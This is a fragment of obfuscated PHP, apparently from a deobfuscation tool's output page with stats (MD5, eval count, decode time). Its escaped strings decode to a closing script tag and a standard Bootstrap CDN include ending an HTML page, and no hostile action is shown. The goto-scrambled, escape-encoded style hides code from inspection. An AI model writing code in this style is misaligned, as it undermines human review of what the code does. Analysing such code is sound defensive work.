    "\47\51\x3b\x3c\x2f\163\143\x72\151\160\164\x3e";
goto dXOvHDfdil;
IMIaBlDoSW:
echo "\15\xa\40\x20\40\40\74\x73\143\x72\x69\x70\x74\40\163\x72\x63\x3d\42\x68\164\x74\160\163\72\x2f\57\x63\144\x6e\56\152\163\144\x65\154\x69\166\x72\x2e\156\x65\x74\57\156\x70\155\x2f\142\157\157\164\x73\164\162\x61\x70\100\65\x2e\63\56\60\55\x61\154\160\x68\141\x31\x2f\x64\151\x73\x74\57\152\163\x2f\142\x6f\x6f\x74\163\164\x72\141\160\56\142\x75\x6e\x64\154\x65\56\155\x69\156\x2e\x6a\x73\x22\xd\12\40\x20\40\x20\40\40\40\x20\x69\x6e\x74\145\x67\162\151\164\x79\75\42\x73\x68\141\63\x38\64\x2d\167\67\66\101\x71\x50\146\104\153\x4d\x42\104\x58\157\63\x30\x6a\123\61\x53\x67\x65\x7a\x36\160\x72\x33\x78\x35\x4d\154\x51\x31\x5a\101\x47\103\x2b\x6e\x75\x5a\102\53\x45\x59\144\x67\122\132\147\151\167\170\x68\x54\x42\124\x6b\x46\x37\103\x58\166\116\x22\xd\12\x20\x20\40\x20\x20\x20\40\40\143\162\x6f\x73\163\157\162\151\147\151\156\75\42\141\156\x6f\x6e\x79\x6d\157\x75\163\x22\76\74\x2f\x73\143\162\x69\x70\x74\x3e\xd\12\74\57\x62\x6f\x64\x79\76\15\xa\15\12\x3c\x2f\x68\164\155\x6c\76";

Function Calls

None

Variables

None

Stats

MD5 78dc3c0fb57444af20f6c99b718383bc
Eval Count 0
Decode Time 73 ms